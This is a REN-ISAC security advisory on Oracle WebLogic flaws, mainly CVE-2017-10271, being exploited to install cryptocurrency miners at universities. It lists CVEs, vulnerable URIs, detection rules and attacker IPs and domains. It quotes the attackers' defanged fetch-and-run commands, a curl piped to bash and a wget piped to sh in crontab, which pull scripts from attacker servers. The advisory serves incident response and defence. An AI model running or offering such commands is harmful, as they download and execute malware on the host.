REN-ISAC Security Advisory
January 5, 2018

Oracle WebLogic Vulnerability Being Exploited by Bitcoin Miners

Audience: IT Executives and Technical Staff; TLP:WHITE (Public Distribution)

EXECUTIVE SUMMARY

REN-ISAC has received widespread reports from university and research institutions about Oracle WebLogic vulnerabilit(ies) exploited by attackers to run bitcoin mining malware. The first reported observation was December 13, 2017; malicious activity continues through to the date of this Advisory.

Oracle WebLogic Server is an enterprise Java EE web application server. Typical applications, used in the higher education and research communities, that rely on WebLogic Server include PeopleSoft, Banner, Oracle Identity Manager, and locally-developed applications.

One or more of the Oracle WebLogic vulnerabilities listed below are suspected to be in use by the attackers. They are listed in reverse chronological order by the associated Oracle patch. NOTE: Regarding the most recent, CVE-2017-10271, rated CRITICAL, with patch availability of October 2017; because of complexity of patching business-critical Oracle systems, there are possibly many systems without the October 2017 patches applied. Concerning CVE-2017-10271, the National Vulnerability Database states: "Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server."

NIST NVD CVE-2017-10271 Detail: https://nvd.nist.gov/vuln/detail/CVE-2017-10271

BREACH REPORTING CONSIDERATIONS: So far, affected sites have no evidence of loss or exposure of records; evaluation on this will continue.

RECOMMENDATION: Apply Oracle patches covering the CVEs reported below and review the timeliness and thoroughness of your patching process.

TECHNICAL DETAILS

Prior to an actual attack your address space may be scanned for targets. Target ports include but are not limited to: TCP/80, 443, 7001, 8080, 8888, 9000.

IP addresses and domain names observed to be involved in the malicious activity are listed below.

To execute the initial attack a WebLogic Server URI is hit, commonly /wls-wsat/CoordinatorPortType. Various URIs confirmed vulnerable to CVE-2017-10271 are listed below.

Miners dropped onto compromised systems include:
https://www.virustotal.com/#/file/63210b24f42c05b2c5f8fd62e98dba6de45c7d751a2e55700d22983772886017/details
https://www.virustotal.com/#/file/bbc6f1e5f02b55fab111202b7ea2b3ef7b53209f6ce53f27d7f16c08f52ef9ac/details
ccminer/2.2
ccminer/1.8-dev

Detections for the WebLogic attacks are available in:
Palo Alto: Oracle WebLogic WLS Security Component Remote Code Execution Vulnerability (38865)
Big-IP ASM: https://devcentral.f5.com/articles/oracle-weblogic-wls-security-component-remote-code-execution-cve-2017-10271-29308

Detections for active miners:
ET POLICY W32/BitCoinMiner.MultiThreat Subscribe/Authorize Stratum Protocol Message
SANS beta feed of miner IPs: https://isc.sans.edu/api/threatlist/miner

Detections, additional:
Monitor for traffic to the IP addresses and WebLogic URIs identified below.

Mitigations:
Block requests to /wls-wstat/*

Additional Miscellaneous Indications

On a compromised WebLogic server, the following has been seen to initiate mining:

```
curl -s http[:]//165.227.215[.]212:8220/logo5.jpg | bash –s
```

logo5.jpg is a shell script
addresses seen in the script include:
http[:]//165.227.215[.]212:8220/logo5.jpg
http[:]//165.227.215[.]212:8220/config_1.json
http[:]//165.227.215[.]212:8220/gcc
http[:]//165.227.215[.]212:8220/c1.json
http[:]//165.227.215[.]212:8220/minerd
http[:]//165.227.215[.]212:8220/kworker.json
http[:]//165.227.215[.]212:8220/atd2
http[:]//165.227.215[.]212:8220/atd3
http[:]//165.227.215[.]212:8220/yam

More than one reporter indicated affected servers running high CPU usage.

More than one reporter indicated compromised machines talking back to IPs at destination port TCP/8220.

One reporter: Each of 3 compromised systems were talking back to 67.21.81.179:8220. The one not doing the BTC mining had an inbound SSH connection from 58.218.198.162:45987.

Source & URL requested on the two servers doing the BTC mining:
35.194.156.203 requested: /wls-wsat/CoordinatorPortType

These URLS were requested by systems that were doing the BTC mining:
35.194.156.203:80/config_1.json
35.194.156.203:80/gcc
35.194.156.203:80/ftw.sh

One reporter: A process masqueraded as wipefs proved to be miner malware. The malware was originally downloaded to /tmp on 12/18 as a file named “vget”. The system also had a crontab running that would start the malicous process every six hours.

One reporter: On one system they dropped by jvs and vps:

```
$ll /var/tmp
total 5832
-rw-r--r-- 1 psoft psft     450 Dec 26 02:57 config.json
-rwxrwxrwx 1 psoft psft 2979640 Dec 20 11:32 jvs
-rwxrwxrwx 1 psoft psft 2979640 Dec 26 02:57 vps
$ps -ef | grep vps
psoft    38837     1 99  2017 ?        8-18:45:33 ./vps -c config.json -t 3
```

One reporter: Eight servers were compromised on the 23rd and 24th of December. Two things caught attention: high CPU usage, and all of the crontab entries were removed and replaced with wget –q http[:]//67.21.81[.]179:8220/logo4.jpg -O - | sh. Several VPS files were discovered in the tmp directory on each of the 8 servers.

Suspected WebLogic Vulnerabiliies

CVE-2017-10271 CRITICAL
Oracle Critical Patch Update Advisory - October 2017
https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html

CVE-2017-3248
Oracle Critical Patch Update Advisory - January 2017
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html

CVE-2015-4852
Oracle Critical Patch Update Advisory - October 2016
http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html
https://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html

CVE-2016-5535
Oracle Critical Patch Update Advisory - October 2016
http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html

CVE-2016-3510
Oracle Critical Patch Update Advisory - July 2016
http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html

CVE-2016-0638
Oracle Critical Patch Update CVSS V2 Risk Matrices - April 2016
https://www.oracle.com/technetwork/topics/security/cpuapr2016-2881694.html

WEBLOGIC URIs Found Vulnerable to CVE-2017-10271

/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

IP Addresses Observed To Be Involved In Malicious Activity

Addresses are classified (best effort) here as scanners, attack/download, post-compromise, and unclassified (not identified when reported). A single IP may be reported in more than one class.

Scanners:
45.77.24.16
222.175.17.102
111.10.72.130
69.165.65.169
111.223.246.13
45.63.122.185
70.42.131.170
111.199.189.201
43.255.225.28
199.188.104.74
43.252.210.16

Attack/Download:
142.4.124.82
165.227.215.212
86.183.127.105
72.11.140.178
5.188.86.30
37.220.35.202
51.15.81.183
67.21.81.194
80.208.231.77
85.248.227.165
149.56.223.241
176.10.99.196
176.107.183.166
199.249.223.43
199.249.223.46
109.69.67.17

142.4.124.25
154.16.149.74
193.90.12.118
35.194.156.203
58.218.198.162
67.21.81.179

Post Compromise
199.188.104.74 (tcp 511 and 5452 ports on the 25th and 28th)
43.252.210.16 (tcp 555 on the 25th and 26th)
169.62.79.78
198.11.220.44
45.77.106.29
185.216.117.85

Unclassified:
23.239.8.60
43.248.103.2
37.59.54.205
188.165.254.85
78.46.91.134
91.121.2.76
37.59.56.102
104.236.71.60
86.183.127.10
46.105.103.169
78.46.91.171

Domain Names

pool.minexmr[.]com
cryptonight.usa.nicehash[.]com.
neoscrypt.usa.nicehash[.]com
scrypt.usa.nicehash[.]com

Feedback on this Advisory?

We welcome your feedback. Please send comments or suggestions to soc@ren-isac.net